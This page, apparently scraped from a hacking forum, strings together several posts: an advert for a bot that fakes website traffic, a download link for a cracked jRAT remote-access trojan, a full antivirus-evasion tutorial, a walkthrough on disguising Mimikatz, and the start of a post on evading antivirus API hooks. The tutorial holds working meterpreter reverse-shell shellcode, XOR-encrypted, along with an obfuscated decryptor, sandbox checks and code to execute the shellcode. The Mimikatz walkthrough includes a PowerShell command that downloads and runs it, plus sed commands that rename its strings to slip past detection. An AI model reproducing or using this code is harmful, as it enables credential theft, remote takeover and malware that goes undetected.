Leaderboard

Traffic Exploder is a bot that will allow you to Dominate website traffic. This bot will supercharge your website, increasing the visitors, views and bounce rate by ten fold. Traffic will continuously flow from every part of the world based on the parameters you specify. Imagine what unlimited traffic can do for you : Decrease bounce rate Increase impressions Increase Unique Visitors Make your site more appealing to banner ad marketplaces (via more impressions) Increase views on any page which counts views and ranks/rates you based on those views Lower Alexa (untested) Sell Traffic to others for an easy income Sell View Increasing Services Sell your high-traffic site for more (vs. no traffic site) and more.... Features : Enter an Referral URL (New 1.06) Deep link clicking (New 1.06) Improved Proxy Finding/Testing (New 1.06) Improved Thread Control (New 1.06) Multiple URLs Unlimited Views Proxy Harvester - Built into the core, never worry about proxies or unique IPs Proxy Scrubbing Random Pause Interval Timeout Control Thread Control Easy to use, get started in seconds Progress Bar and Statistics Safe Traffic : This bot generates safe traffic to your website. It does not click on any ads nor will it get you banned from any ad marketplaces. Download

I'm releasing the whole package of the license + jrat 5.5.1 + plugins in a whole If you don't trust me or the files, download jRat from the official website https://jrat.io/ and just take the license file from my folder to your fresh download Mega Download

https://cybellum.com/doubleagentzero-day-code-injection-and-persistence-technique/ https://cybellum.com/doubleagent-taking-full-control-antivirus/

New Link is here. Enjoy https://mega.nz/#!nNlmTTxY!QvHSEP7rBUZbzjgJxNeUMB8b4xL8Cljb_J_geZusqwU

This blog post will explain effective methods for bypassing the static, dynamic and heuristic analysis of up to date anti virus products. Some of the methods are already known by public but there are few methods and implementation tricks that is the key for generating FUD (Fully Undetectable) malware, also the size of the malware is almost as important as anti detection, when implementing these methods i will try to keep the size as minimum as possible. this paper also explains the inner workings of anti viruses and windows operating system, reader should have at least intermediate C/C++ and assembly knowledge and decent understanding of PE file structure. Introduction Implementing anti detection techniques should be specific for each malware type, all the methods explained in this paper will also work for all kind of malware but this paper mainly focuses on stager meterpreter payloads because meterpreter is capable of all the things that all other malware does, getting a meterpreter session on remote machine allows many things like privilege escalation, credential stealing, process migration, registry manipulation and allot more post exploitation, also meterpreter has a very active community and it’s very popular among security researchers. Terminology Signature Based Detection: Traditional antivirus software relies heavily upon signatures to identify malware. Substantially, when a malware arrives in the hands of an antivirus firm, it is analysed by malware researchers or by dynamic analysis systems. Then, once it is determined to be a malware, a proper signature of the file is extracted and added to the signatures database of the antivirus software.[1] Static Program Analyze: Static program analysis is the analysis of computer software is performed without actually executing programs. In most cases the analysis is performed on some version of the source code, and in the other cases, some form of the object code.[2] Dynamic Program Analyze: Dynamic program analysis is the analysis of computer software that is performed by executing programs on a real or virtual processor. For dynamic program analysis to be effective, the target program must be executed with sufficient test inputs to produce interesting behavior.[3] Sandbox: In computer security, a sandbox is a security mechanism for separating running programs. It is often used to execute untested or untrusted programs or code, possibly from unverified or untrusted third parties, suppliers, users or websites, without risking harm to the host machine or operating system.[4] Heuristic Analysis: Heuristic analysis is a method employed by many computer antivirus programs designed to detect previously unknown computer viruses, as well as new variants of viruses already in the “wild”.Heuristic analysis is an expert based analysis that determines the susceptibility of a system towards particular threat/risk using various decision rules or weighing methods. MultiCriteria analysis (MCA) is one of the means of weighing. This method differs from statistical analysis, which bases itself on the available data/statistics.[5] Entropy: In computing, entropy is the randomness collected by an operating system or application for use in cryptography or other uses that require random data. This randomness is often collected from hardware sources, either pre-existing ones such as mouse movements or specially provided randomness generators. A lack of entropy can have a negative impact on performance and security.[6] Common Techniques When it comes to reducing a malware’s detection score first things that comes in mind are crypters, packers and code obfuscation. These tools and techniques are still able to bypass good amount of AV product but because of the advancements in cyber security field most of the tools and methods in the wild is outdated and can’t produce FUD malware. For understanding the inner workings of these techniques and tools i will give brief descriptions; Obfuscation: Code obfuscation can be defined as mixing the source code of the binary without disrupting the real function, it makes static analyzing harder and also changes the hash signatures of the binary. Obfuscation can simply be implemented with adding few lines of garbage code or programmatically changing the execution order of the instructions. This method can bypass good amount of AV product but it depends on how much you obfuscate. Packers: Executable packer is any means of compressing an executable file and combining the compressed data with decompression code into a single executable. When this compressed executable is executed, the decompression code recreates the original code from the compressed code before executing it. In most cases this happens transparently so the compressed executable can be used in exactly the same way as the original. When a AV scanner scans a packed malware it needs to determine the compression algorithm and decompress it. Because of files that packed with packers are harder to analyze malware authors have a keen interest on packers. Crypters: Crypters are programs that encrypts the given binary for making it hard to analyze or reverse engineer. A crypter exists of two parts, a builder and a stub, builder simply just encrypts the given binary and places inside the stub, stub is the most important piece of the crypter, when we execute the generated binary first stub runs and decrypts the original binary to memory and then executes the binary on memory via “RunPE” method(in most cases). The Problem About Crypters & Packers Before moving on to the effective methods, there are few things that needs to be acknowledged about what is wrong in well known techniques and tools. Today’s AV companies has already realized the danger, now instead of just searching for malware signatures and harmful behavior they also search for signs of crypters and packers. Compared to detecting malware, detecting crypters and packers is relatively easy because of they all have to do certain suspicious things like decrypting the encrypted PE file and executing it on the memory. PE Injection: In order to fully explain the in memory execution of a PE image i have to talk about how windows loads the PE files. Generally when compiling a PE file the compiler sets the main module address at 0x00400000, while compile process all the full address pointers and addresses at long jump instructions are calculated according to main module address, at the end of compiling process compiler creates a relocation table section in PE file, relocation section contains the addresses of instructions that depends on the base address of the image, such as full address pointers and long jump instruction. While in execution of the PE image, operating system checks the availability of the PE image’s preferred address space, if the preferred space is not available, operating system loads the PE image to a random available address on memory, before starting the process system loader needs to adjust the absolute addresses on memory, with the help of relocation section system loader fixes the all address dependent instructions and starts the suspended process. All this mechanism is called “Address Layout Randomization”.[7] In order to execute a PE image on memory crypters needs to parse the PE headers and relocate the absolute addresses, simply they have to mimic system loader witch is very unusual and suspicious. When we analyze crypters written in c or higher level languages in almost every cases we could see these windows API functions called “NtUnmapViewOfSection” and “ZwUnmapViewOfSection” these functions simply unmaps a view of a section from the virtual address space of a subject process, they play a very important role at in memory execution method called RunPE which almost %90 of crypters uses. xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection")); xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase)); Of course AV products can’t just declare malicious for every program that uses these windows API functions, but the order of using this functions matter a lot. There are small percentage of crypters(mostly written in assembly) witch does not uses these functions and performs the relocation manually, they are very effective at the time but sooner or later usage of crypters will not be profitable because of logically no non harmful program tries to mimic the system loader. Another downside is huge entropy increase on input files, because of encrypting the entire PE file, entropy will rise inevitably, when AV scanners detects unusual entropy on a PE file they will probably mark the file as suspicious. Perfect Approach The concept of encrypting the malicious code is clever but the decryption function should be obfuscated properly and when it comes to executing the decrypted code in memory we have to do it without relocating the absolute addresses, also there has to be a detection mechanism checking for weather the malware is analyzing dynamically in a sand box or not, if detection mechanism detects that malware is being analyzed by the AV then the decryption function shouldn’t be executed. Instead of encrypting the entire PE file encrypting shellcodes or only the .text section of the binary is much more suitable, it keeps the entropy and size low and makes no changes to image headers and sections. This will be the malware flow chart. Our “AV Detect.” function will detect if the malware is being analyze dynamically in a sandbox or not, if the function detects any sign of AV scanner then it will call the main function again or just crash, if “AV Detect” function don’t finds any sign of AV scanner it will call the “Decrypt Shellcode” function This is meterpreter reverse tcp shellcode in raw format. unsigned char Shellcode[] = { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5f, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xb8, 0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x6a, 0x05, 0x68, 0x7f, 0x00, 0x00, 0x01, 0x68, 0x02, 0x00, 0x11, 0x5c, 0x89, 0xe6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40, 0x50, 0x68, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x97, 0x6a, 0x10, 0x56, 0x57, 0x68, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0c, 0xff, 0x4e, 0x08, 0x75, 0xec, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6a, 0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00, 0x56, 0x53, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x01, 0xc3, 0x29, 0xc6, 0x75, 0xee, 0xc3 }; For keeping the entropy and size in appropriate value i will pass this shellcode to simple xor cipher with a multi byte key, xor is not an encryption standard like RC4 or blowfish but we don’t need a strong encryption anyway, AV products is not going to try to decrypt the shellcode, making it unreadable and undetectable for static string analysis is enough, also using xor makes decryption process much more faster and avoiding the encryption libraries in code will reduce the size a lot. This is the same meterpreter code xor ciphered with key. unsigned char Shellcode[] = { 0xfb, 0xcd, 0x8d, 0x9e, 0xba, 0x42, 0xe1, 0x93, 0xe2, 0x14, 0xcf, 0xfa, 0x31, 0x12, 0xb1, 0x91, 0x55, 0x29, 0x84, 0xcc, 0xae, 0xc9, 0xf3, 0x32, 0x08, 0x92, 0x45, 0xb8, 0x8b, 0xbd, 0x2d, 0x26, 0x66, 0x59, 0x0d, 0xb2, 0x9a, 0x83, 0x4e, 0x17, 0x06, 0xe2, 0xed, 0x6c, 0xe8, 0x15, 0x0a, 0x48, 0x17, 0xae, 0x45, 0xa2, 0x31, 0x0e, 0x90, 0x62, 0xe4, 0x6d, 0x0e, 0x4f, 0xeb, 0xc9, 0xd8, 0x3a, 0x06, 0xf6, 0x84, 0xd7, 0xa2, 0xa1, 0xbb, 0x53, 0x8c, 0x11, 0x84, 0x9f, 0x6c, 0x73, 0x7e, 0xb6, 0xc6, 0xea, 0x02, 0x9f, 0x7d, 0x7a, 0x61, 0x6f, 0xf1, 0x26, 0x72, 0x66, 0x81, 0x3f, 0xa5, 0x6f, 0xe3, 0x7d, 0x84, 0xc6, 0x9e, 0x43, 0x52, 0x7c, 0x8c, 0x29, 0x44, 0x15, 0xe2, 0x5e, 0x80, 0xc9, 0x8c, 0x21, 0x84, 0x9f, 0x6a, 0xcb, 0xc5, 0x3e, 0x23, 0x7e, 0x54, 0xff, 0xe3, 0x18, 0xd0, 0xe5, 0xe7, 0x7a, 0x50, 0xc4, 0x31, 0x50, 0x6a, 0x97, 0x5a, 0x4d, 0x3c, 0xac, 0xba, 0x42, 0xe9, 0x6d, 0x74, 0x17, 0x50, 0xca, 0xd2, 0x0e, 0xf6, 0x3c, 0x00, 0xda, 0xda, 0x26, 0x2a, 0x43, 0x81, 0x1a, 0x2e, 0xe1, 0x5b, 0xce, 0xd2, 0x6b, 0x01, 0x71, 0x07, 0xda, 0xda, 0xf4, 0xbf, 0x2a, 0xfe, 0x1a, 0x07, 0x24, 0x67, 0x9c, 0xba, 0x53, 0xdd, 0x93, 0xe1, 0x75, 0x5f, 0xce, 0xea, 0x02, 0xd1, 0x5a, 0x57, 0x4d, 0xe5, 0x91, 0x65, 0xa2, 0x7e, 0xcf, 0x90, 0x4f, 0x1f, 0xc8, 0xed, 0x2a, 0x18, 0xbf, 0x73, 0x44, 0xf0, 0x4b, 0x3f, 0x82, 0xf5, 0x16, 0xf8, 0x6b, 0x07, 0xeb, 0x56, 0x2a, 0x71, 0xaf, 0xa5, 0x73, 0xf0, 0x4b, 0xd0, 0x42, 0xeb, 0x1e, 0x51, 0x72, 0x67, 0x9c, 0x63, 0x8a, 0xde, 0xe5, 0xd2, 0xae, 0x39, 0xf4, 0xfa, 0x2a, 0x81, 0x0a, 0x07, 0x25, 0x59, 0xf4, 0xba, 0x2a, 0xd9, 0xbe, 0x54, 0xc0, 0xf0, 0x4b, 0x29, 0x11, 0xeb, 0x1a, 0x51, 0x76, 0x58, 0xf6, 0xb8, 0x9b, 0x49, 0x45, 0xf8, 0xf0, 0x0e, 0x5d, 0x93, 0x84, 0xf4, 0xf4, 0xc4 }; unsigned char Key[] = { 0x07, 0x25, 0x0f, 0x9e, 0xba, 0x42, 0x81, 0x1a }; Because of we are writing a new piece of malware, our malware’s hash signature will not be known by the anti virus products, so we don’t need to worry about signature based detection, we will encrypt our shellcode and obfuscate our anti detection/reverse engineering and decryption functions also these will be enough for bypassing static/heuristic analysis phase, there is only one more phase we need to bypass and it is the dynamic analysis phase,most important part is the success of the “AV detect” function, before starting to write the function we need to understand how heuristic engines of AV products works. Heuristic Engines Heuristic engines are basically statistical and rule based analyze mechanisms. Their main purpose is detecting new generation(previously unknown) viruses by categorizing and giving threat/risk grades to code fragments according to predefined criterias, even when a simple hello world program scanned by AV products, heuristic engine decides on a threat/risk score if the score is higher then thresholds then the file gets marked as malicious. Heuristic engines are the most advanced part of AV products they use significant amount of rules and criterias, since no anti virus company releases blueprints or documentation about their heuristic engines all known selective criterias about their threat/risk grading policy are found with trial and error. Some of the known rules about threat grading; – Decryption loop detected – Reads active computer name – Reads the cryptographic machine GUID – Contacts random domain names – Reads the windows installation date – Drops executable files – Found potential IP address in binary memory – Modifies proxy settings – Installs hooks/patches the running process – Injects into explorer – Injects into remote process – Queries process information – Sets the process error mode to suppress error box – Unusual entrophy – Possibly checks for the presence of antivirus engine – Monitors specific registry key for changes – Contains ability to elevate privileges – Modifies software policy settings – Reads the system/video BIOS version – Endpoint in PE header is within an uncommon section – Creates guarded memory regions – Spawns a lot of processes – Tries to sleep for a long time – Unusual sections – Reads windows product id – Contains decryption loop – Contains ability to start/interact device drivers – Contains ability to block user input … When writing our AV detect and Decrypt Shellcode functions we have to be careful about all this rules. Decrypt Shellcode: Obfuscating the decryption mechanism is vital, most of AV heuristic engines are able to detect decryption loops inside PE files, after the huge increase on ransomware cases even some heuristic engines are build mainly just for finding encryption/decryption routines, after they detect a decryption routine, some scanners waits until ECX register to be “0” most of the time that indicates the end of loop, after they reach the end of the decryption loop they will re analyze the decrypted content of the file. This will be the “Decrypt Shellcode” function, void DecryptShellcode() { for (int i = 0; i < sizeof(Shellcode); i++) { __asm { PUSH EAX XOR EAX, EAX JZ True1 __asm __emit(0xca) __asm __emit(0x55) __asm __emit(0x78) __asm __emit(0x2c) __asm __emit(0x02) __asm __emit(0x9b) __asm __emit(0x6e) __asm __emit(0xe9) __asm __emit(0x3d) __asm __emit(0x6f) True1: POP EAX } Shellcode[i] = (Shellcode[i] ^ Key[(i % sizeof(Key))]); __asm { PUSH EAX XOR EAX, EAX JZ True2 __asm __emit(0xd5) __asm __emit(0xb6) __asm __emit(0x43) __asm __emit(0x87) __asm __emit(0xde) __asm __emit(0x37) __asm __emit(0x24) __asm __emit(0xb0) __asm __emit(0x3d) __asm __emit(0xee) True2: POP EAX } } } It is a for loop that makes logical xor operation between a shellcode byte and a key byte, below and above assembly blocks literally does noting, they cover the logical xor operation with random bytes and jumps over them. Because of we are not using any advanced decryption mechanism this will be enough for obfuscating “Decrypt Shellcode” function. Dynamic Analysis Detection: Also while writing the sandbox detection mechanism we need to obfuscate our methods, if the heuristic engine detects any sign of anti reverse engineering methods it would be very bad for malware’s threat score. Is Debugger Present: Our first AV detection mechanism will be checking for debugger in our process There is a windows API function for this operation it ”Determines whether the calling process is being debugged by a user-mode debugger.” but we will not use it because of most AV products are monitoring the win API calling statements, they probably detect and treat this function as a anti reverse engineering method. Instead of using the win API function we will go and look at the “BeingDebuged” byte at PEB block. // bool WINAPI IsDebuggerPresent(void); __asm { CheckDebugger: PUSH EAX // Save the EAX value to stack MOV EAX, DWORD PTR FS : [0x18] // Get PEB structure address MOV EAX, DWORD PTR[EAX + 0x30] // Get being debugged byte CMP BYTE PTR[EAX + 2], 0 // Check if being debuged byte is set JNE CheckDebugger // If debugger present check again POP EAX // Put back the EAX value } With some inline assembly this piece of code points a pointer to the BeingDebuged byte in PEB block, if debugger present it will check again until a overflow occurs in stack, when an overflow occurs the stack canaries will trigger an exception and process will be closed, this is the shortest way to exit the program. Manually checking the BeingDebuged byte will bypass good amount of AV product but still some AV products have taken measures about this issue so we need to obfuscate the code for avoiding the static string analysis. __asm { CheckDebugger: PUSH EAX MOV EAX, DWORD PTR FS : [0x18] __asm { PUSH EAX XOR EAX, EAX JZ J __asm __emit(0xea) J: POP EAX } MOV EAX, DWORD PTR[EAX + 0x30] __asm { PUSH EAX XOR EAX, EAX JZ J2 __asm __emit(0xea) J2: POP EAX } CMP BYTE PTR[EAX + 2], 0 __asm { PUSH EAX XOR EAX, EAX JZ J3 __asm __emit(0xea) J3: POP EAX } JNE CheckDebugger POP EAX } I have added jump instruction after all operation, this will not effect out purpose but adding garbage bytes between jumps will obfuscate the code and avoid static string filters. Load Fake Library: This method we will try to load a non existing dll on runtime. Normally when we try to load a non existing dll HISTENCE returns NULL, but some dynamic analysis mechanisms in AV products allows such cases in order to further investigate the execution flow of the program. bool BypassAV(char const * argv[]) { HINSTANCE DLL = LoadLibrary(TEXT("fake.dll")); if (DLL != NULL) { BypassAV(argv); } Get Tick Count: In this method we will be exploiting the time deadline of AV products. In most cases AV scanners are being designed for end user, they need to be user friendly and suitable for daily usage this means they can’t spend too much time for scanning files they need to scan files as quickly as possible. At first malware developers used “sleep()” function for waiting until the scan complete, but nowadays this trick almost never works, every AV product skips the sleep function when they encountered one. We will use this against them , below code uses a win API function called “GetThickCount()” this function “Retrieves the number of milliseconds that have elapsed since the system was started, up to 49.7 days.” we will use it to get the time passed since OS booted, then try to sleep 1 second, after sleep function we will check weather sleep function is skipped or not by comparing the two GetTickCout() value. int Tick = GetTickCount(); Sleep(1000); int Tac = GetTickCount(); if ((Tac - Tick) < 1000) { return false; } Number Of Cores: This method will simply check the number of processor cores on the system. Since AV products can’t afford allocating too much resource from host computer we can check the core number in order to determine are we in a sandbox or not. Even some AV products does not support multi core processing so they shouldn’t be able to reserve more than 1 processor core to their sandbox environment. SYSTEM_INFO SysGuide; GetSystemInfo(&SysGuide); int CoreNum = SysGuide.dwNumberOfProcessors; if (CoreNum < 2) { return false; } Huge Memory Allocations: This method also exploits the time deadline on each AV scan, we simply allocate nearly 100 Mb of memory then we will fill it with NULL bytes, at the end we will free it. char * Memdmp = NULL; Memdmp = (char *)malloc(100000000); if (Memdmp != NULL) { memset(Memdmp, 00, 100000000); free(Memdmp); } When the programs memory starts to grow on runtime eventually AV scanners will end the scan for the sake of not to spend too much time on a file, this method can be used multiple times. This is a very primitive and old technique but it still bypasses good amount of scanners. Trap Flag Manipulation: The trap flag is used for tracing the program. If this flag is set every instruction will raise “SINGLE_STEP” exception.Trap flag can be manipulated in order thwart tracers. We can manipulate the trap flag with below code __asm { PUSHF // Push all flags to stack MOV DWORD [ESP], 0x100 // Set 0x100 to the last flag on the stack POPF // Put back all flags register values } Mutex Triggered WinExec: This method is very promising because of its simplicity, we create a condition for checking whether a certain mutex object already exists on the system or not. HANDLE AmberMutex = CreateMutex(NULL, TRUE, "FakeMutex"); if(GetLastError() != ERROR_ALREADY_EXISTS){ WinExec(argv[0],0); } If “CreateMutex” function does not return already exists error we execute the malware binary again, since most of the AV products don’t let programs witch are dynamically analyzing to start new processes or access the files outside the AV sandbox, when the already exist error occurs execution of the decrypt function may start. There are much more creative ways of mutex usage in anti detection. Proper Ways To Execute Shellcodes Starting with Windows Vista, Microsoft introduced Data Execution Prevention or DEP[8], a security feature that can help prevent damage to your computer by monitoring programs from time to time. Monitoring ensures that running program uses system memory efficiently. If there is any instance of a program on your computer using memory incorrectly, DEP notices it, closes the program and notifies you. That means you can’t just put some bytes to an char array and execute it, you need to allocate a memory region with read,write and execute flags using windows API functions. Microsoft has several memory manipulation API functions for reserving memory pages, most of the common malware in the field uses the “VirtualAlloc” function for reserving memory pages, as you can guess common usage of functions helps AV products with defining detection rules, using other memory manipulation functions will also do the trick and they may attract less attention. I will list several shellcode execution method with different memory manipulation API function, HeapCreate/HeapAlloc: Windows also allows creating RWE heap regions. void ExecuteShellcode(){ HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(Shellcode), sizeof(Shellcode)); char * BUFFER = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(Shellcode)); memcpy(BUFFER, Shellcode, sizeof(Shellcode)); (*(void(*)())BUFFER)(); } LoadLibrary/GetProcAddress: LoadLibrary and GetProcAddress win api function combination allows us to use all other win api functions, with this usage there will be no direct call to the memory manipulation function and malware will probably be less attractive. void ExecuteShellcode(){ HINSTANCE K32 = LoadLibrary(TEXT("kernel32.dll")); if(K32 != NULL){ MYPROC Allocate = (MYPROC)GetProcAddress(K32, "VirtualAlloc"); char* BUFFER = (char*)Allocate(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(BUFFER, Shellcode, sizeof(Shellcode)); (*(void(*)())BUFFER)(); } } GetModuleHandle/GetProcAddress: This method does not even uses the LoadLibrary function it takes advantage of already loaded kernel32.dll, GetModuleHandle function retrieves the module handle from an already loaded dll, this method is possibly one of the most silent way to execute shellcode. void ExecuteShellcode(){ MYPROC Allocate = (MYPROC)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc"); char* BUFFER = (char*)Allocate(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(BUFFER, Shellcode, sizeof(Shellcode)); (*(void(*)())BUFFER)(); } Multi Threading It is always harder to reverse engineer multi threaded PE files, it is also challenging for AV products, multi threading approach can be used with all execution methods above so instead of just pointing a function pointer to shellcode and executing it creating a new thread will complicate things for AV scanners plus it allow us to keep executing the “AV Detect” function while executing the shellcode at same time. void ExecuteShellcode(){ char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(BUFFER, Shellcode, sizeof(Shellcode)); CreateThread(NULL,0,LPTHREAD_START_ROUTINE(BUFFER),NULL,0,NULL); while(TRUE){ BypassAV(argv); } } Above code executes the shellcode with creating a new thread, just after creating the thread there is a infinite whlie loop that is executing bypass av function, this approach will almost double the effect of our bypass av function, bypass AV function will be keep checking for sandbox and dynamic analysis signs while shellcode runs, this is also vital for bypassing some advanced heuristic engines that waits until the execution of the shellcode. Conclusion Towards the end there are few more thinks that needs to be covered about compiling the malware, when compiling the source, safeguards like stack savers need to be on and striping the symbols is vital for hardening the reverse engineering process of our malware and reducing the size, compiling on visual studio is recommended because of the inline assembly syntax that used in this paper. When all of this methods combined, generated malware is able to bypass 35 most advanced AV product. PoC The Meterpreter created by using the techniques we have described in this article shows how our malware produces results in real systems. Sooner or later this methods also going to expire, but there will always be more ways to bypass AV products. sursa: https://pentest.blog/art-of-anti-detection-1-introduction-to-av-detection-techniques/ part2: https://pentest.blog/art-of-anti-detection-2-pe-backdoor-manufacturing/

How to Bypass Anti-Virus to Run Mimikatz Carrie Roberts // Would you like to run Mimikatz without Anti-Virus (AV) detecting it? Recently I attempted running the PowerShell script “Invoke-Mimikatz” from PowerSploit on my machine but it was flagged by Windows Defender as malicious when saving the file to disk. Even when I ran this file without writing it to disk using the following command it still got caught. powershell "IEX (New-Object Net.WebClient).DownloadString ('https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/ Invoke-Mimikatz.ps1');Invoke-Mimikatz" Windows Defender Detects Unmodified Mimikatz Script Uploading the Invoke-Mimikatz.ps1 file to VirusTotal showed that 19 of 54 AV vendors currently detect this file as malicious. AV Detection Rate for Unmodified Mimikatz Script As you may know, AV detection schemes can be weak, simply looking for specific words in the file. Often these words can be changed without changing the functionality. For example, changing “Invoke-Mimikatz” to “Invoke-Mimidogz” using the following Linux command brings the detection rate down to 8 of 54 sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1 AV Detection Rate for “Katz” to “Dogz” And how about getting rid of those unnecessary comments in the script? sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1 sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1 AV Detection Ratio After Removing Comments from Script We are down to four (4) AV vendors detecting the malicious file after renaming “Katz” to “Dogz” and removing comments. A little further experimentation shows that AV doesn’t like the word “DumpCreds”, let’s change it to “DumpCred”. sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1 AV Detection After Renaming “DumpCreds” We are down to only two AV vendors detecting this file as malicious now. We could probably quit here and get a lot of mileage out of this script because who has even heard of those AV vendors anyway? But as my daughter would say after reading the disclaimer on hand sanitizer, “Why don’t they just put a little bit more in and kill ‘em all!?” So let’s do this. Just add three more match and replace rules and “Winner, winner, chicken dinner!” The complete list of match and replace commands is listed below. sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1 sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1 sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1 sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1 sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1 sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-Mimikatz.ps1 sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions #\-/g" Invoke-Mimikatz.ps1 No AV Detection After Match and Replace Rules We successfully modified the Mimikatz script to avoid AV detection without changing the functionality. Great evidence to why you should not rely solely on your AV for protection. Modified Mimikatz Script Still Functional For additional information on bypassing Anti-Virus, check out the “Sacred Cash Cow Tipping” webcast series. Sursa: http://www.blackhillsinfosec.com/?p=5555

Sa va tavaliti in chinuri toti care faceti spam!

Defeating Antivirus Real-time Protection From The Inside 28 July 2016 on assembly, hacking, antivirus Hello again! In this post I'd like to talk about the research I did some time ago on antivirus real-time protection mechanism and how I found effective ways to evade it. This method may even work for evading analysis in sandbox environments, but I haven't tested that yet. The specific AV I was testing this method with was BitDefender. It performs real-time protection for every process in user-mode and detects suspicious behaviour patterns by monitoring the calls to Windows API. Without further ado, let's jump right to it. What is Realtime Protection? Detecting malware by signature detection is still used, but it is not very efficient. More and more malware use polymorphism, metamorphism, encryption or code obfuscation in order to make itself extremely hard to detect using the old detection methods. Most new generation AV software implement behavioral detection analysis. They monitor every running process on the PC and look for suspicious activity patterns that may indicate the computer was infected with malware. As an example, let's imagine a program that doesn't create any user interface (dialogs, windows etc.) and as soon as it starts, it wants to connect and download files from external server in Romania. This kind of behaviour is extremely suspicious and most AV software with real-time protection, will stop such process and flag it as dangerous even though it may have been seen for the first time. Now you may ask - how does such protection work and how does the AV know what the monitored process is doing? In majority of cases, AV injects its own code into the running process, which then performs Windows API hooking of specific API functions that are of interest to the protection software. API hooking allows the AV to see exactly what function is called, when and with what parameters. Cuckoo Sandbox, for example, does the same thing for generating the detailed report on how the running program interacts with the operating system. Let's take a look at how the hook would look like for CreateFileW API imported from kernel32.dll library. This is how the function code looks like in its original form: 76B73EFC > 8BFF MOV EDI,EDI 76B73EFE 55 PUSH EBP 76B73EFF 8BEC MOV EBP,ESP 76B73F01 51 PUSH ECX 76B73F02 51 PUSH ECX 76B73F03 FF75 08 PUSH DWORD PTR SS:[EBP+8] 76B73F06 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] ... 76B73F41 E8 35D7FFFF CALL <JMP.&API-MS-Win-Core-File-L1-1-0.C> 76B73F46 C9 LEAVE 76B73F47 C2 1C00 RETN 1C Now if an AV was to hook this function, it would replace the first few bytes with a JMP instruction that would redirect the execution flow to its own hook handler function. That way AV would register the execution of this API with all parameters lying on the stack at that moment. After the AV hook handler finishes, they would execute the original set of bytes, replaced by the JMP instruction and jump back to the API function for the process to continue its execution. This is how the function code would look like with the injected JMP instruction: Hook handler: 1D001000 < main hook handler code - logging and monitoring > ... 1D001020 8BFF MOV EDI,EDI ; original code that was replaced with the JMP is executed 1D001022 55 PUSH EBP 1D001023 8BEC MOV EBP,ESP 1D001025 -E9 D72EB759 JMP kernel32.76B73F01 ; jump back to CreateFileW to instruction right after the hook jump CreateFileW: 76B73EFC >-E9 FFD048A6 JMP handler.1D001000 ; jump to hook handler 76B73F01 51 PUSH ECX ; 